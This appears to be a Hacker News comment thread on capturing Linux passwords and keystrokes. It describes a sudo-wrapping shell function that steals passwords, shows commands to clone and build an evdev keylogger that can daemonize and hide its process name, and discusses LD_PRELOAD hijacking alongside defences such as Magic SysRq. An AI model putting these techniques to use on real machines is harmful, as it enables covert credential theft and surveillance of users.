This is cool, but seems overly complex. A few friends and I played "capture the flag" with our personal systems, and a few times passwords were obtained with a simple shell function wrapping sudo. The first time the function ran (based on whether or not the output file in /tmp existed) and 1/5 times after that, it would simply use read -s, and and write the password to the output file. The other 4/5 times it ran, it would simply 'exec /usr/bin/sudo "$@"'.
People don't seem to think twice about failing a password auth.
I used a very similar approach in the mid-ninties to get full root access to all of our high-school's systems (which was technically not even illegal at this time and place). The output file used a simple single-character XOR obfuscation, to make it a little bit less obvious if someone looked at the log file.
Here's a solid way to log actual keys from the keyboard (rather than just terminal input) using evdev. It's not good for, say, logging keys of a headless server, but it is good for logging keystrokes from a computer with a monitor and keyboard.
zx2c4@Thinkpad ~ $ git clone http://git.zx2c4.com/evdev-keylogger/
Cloning into 'evdev-keylogger'...
zx2c4@Thinkpad ~ $ cd evdev-keylogger/
zx2c4@Thinkpad ~/evdev-keylogger $ make
cc -O3 -march=native -fomit-frame-pointer -pipe logger.c keymap.c keymap.h evdev.c evdev.h process.c process.h -o logger
zx2c4@Thinkpad ~/evdev-keylogger $ ./logger -h
Evdev Keylogger by zx2c4
Usage: ./logger [OPTION]...
-d, --daemonize run as a background daemon
-f, --foreground run in the foreground (default)
-u, --force-us-keymap instead of auto-detection, force usage of built-in US keymap
-e DEVICE, --event-device=DEVICE use event device DEVICE (default=auto-detect)
-l FILE, --log-file=FILE write key log to FILE (default=stdout)
-p FILE, --pid-file=FILE write the pid of the process to FILE
-n NAME, --process-name=NAME change process name in ps and top to NAME
-h, --help display this message
It has the ability to daemonize, log to a file, and mask itself in the process table. Far from what a real kernel rootkit logger could do, but instead it's clean and reliable.
I used to actually have this in my git repository with a little thing in there that would connect back to my server when run, and then I had a README and notices all over in the source code and makefile and everywhere that you should remove this part of the code before compiling, under all circumstances. Anybody reasonable would have seen the notices and removed the code. The idea was that this way I'd know how many script kiddies were abusing it, and if maybe it was a bad idea to keep it up there. Well, in fact I did get a lot of connections, and it was kind of horrible to see. Then I forgot about it, until seeing this post. So I figured, either I take it down, because script kiddies, not people who are merely curious to see how a key logger works, are using it, or I keep it up there. In the end, I decided to stop being a dick, remove the connection thinger, and now the HN crowd will hopefully find something interesting to learn in it. A failed experiment at dealing with the script kiddie situation, oh well. At least, now, my code is untainted.
Anyway feel free to email me or leave a comment here if you find any bugs or have patches, or whatever. The code should be pretty basic to understand.
Speaking from personal experience, some of your incoming connections may not have been people abusing your keylogger. Personally, the first thing I do when I play around with any source code is compile, run, and test it.
Just want to add first of all that I generally read the ReadMe first.
--
Besides that, what do you (zx2c4) think of Linux? Do you think it's a safe platform?
I think it still has a long way to go. _Most_ programs require root access to install; and even ones that don't need root still have access to all user files. This is a but of problem.
Contrast this with iOS, where every app has local storage and one app cannot read another's files/data. On Linux & Android the problem of data security (among others) is persistent.
For some strange reason, zx2c4, the comment you made under mine is dead. (Try logging out and seeing if it's visible.)
I don't know if you've been banned. If you have, that would bee very strange. Why would someone do that? Were they pissed at the fact you shared potential dangerous code that could be used to infiltrate the OS run by many HNers?
Or you might have hit some sort of reply-depth. (Just guessing here.)
Logging in as root from a virtual console (ie, a login prompt spawned directly from init) shouldn't give away the root password, even with something like this in place. Someone would have needed root access already to interfere with that since init (getty, etc) and X all run as root. Of course, the moral is still to use root as little as possible...
On a system that uses sudo (like Ubuntu's standard account setup), having access to a non-root administrative user account (with sudo privileges) is equivalent to having root access. And nobody can fool themselves into thinking this isn't the case, because the account is explicitly flagged as "this account can become root."
Because the exploit in the article exists, on a system that uses su, having access to a non-root administrative account (that accesses root regularly through su) is equivalent to having root access. But it's not as obvious that this is the case.
This means the sudo setup is more secure (with respect to this exploit), because it doesn't pretend to have a level of security it doesn't actually have.
Isn't is curious when OS's don't keep track of non-system software ... when it's installed, what process installed it, whether that process was under local control, any other info to indentify the source ... and to list that information on demand any time any user wants it?
What's up with that? It's as though we're happy that we can be infiltrated at any time. It's not like people don't put weeks and months into "me-too" websites ... but there's never been any major motion in the direction of making the existence of surreptitious mods available at a key-click?
Such apps may exist, but I've never run across one for any platform explicitly designed to help anyone root out what's been installed without their knowledge. It CAN'T be that hard. Link it up to an open online knowledge-base that will nix false flags ...
My old and somewhat related PoC project for screen casts, but still working. Just checked (debian wheezy with stock kernel 3.2.0-4-amd64). It requires building and loading simple kernel module, though.
Apparently nowadays debugfs is owner-only rw, so you have to change it or start it as root.
Look for the top-right corner to see the effect while you're typing or clicking something.
P.S. Funny thing is that I don't know why I wrote >>Kprobe dependency can be easily removed by writing own input handler and it will be done in future<< back then, because when I evaluated this statement year or so ago, it didn't look that easy, and there would be more code in the end, I suppose.
okay, so now the getenv call is hijacked too.
You can play this game all day, as long as the environment is stored in user space, you can get it and fake the output.
All of our deployment scripts at work use SSH to accomplish their tasks. All of the tasks are prepended with "LD_PRELOAD=", and I've always wondered why but never bothered to look it up.
In the past I have used it to make fsync and similar a no-op. ( This allows you to explicitly turn off data-security for certain processes, in order to either get performance, or to prevent them from affecting the rest of your system)
LD_PRELOAD loads symbols from dynamic libraries before "real" dynamic linking happens. This can be used to inject or replace certain symbols with your own definitions.
The classic LD_PRELOAD trick is to replace malloc and free with your own functions that contain some kind of instrumentation for debugging/profiling purposes.
Tinkering with LD_PRELOAD (and LD_LIBRARY_PATH) may have unintended consequences, so it's not a good idea to use them in your environment permanently.
If I recall correctly Magic SYSRQ offered the ability to kill all running processes using a shortcut impossible to bypass (along with other shortcuts, like one for killing the X server 'no question asked' and no possibility whatsoever by X to dodge the kill -9).
So basically you had to go first to a virtual console (in text mode) and then issue the Magic SYSRQ shortcut.
That would kill all processes running on that console and you'd be sure to have a stock prompt without any kind of software keylogger.
I don't know if Magic SYSRQ still exists or not for 64-bit Linuxes, it's been a while I haven't used it.
People don't seem to think twice about failing a password auth.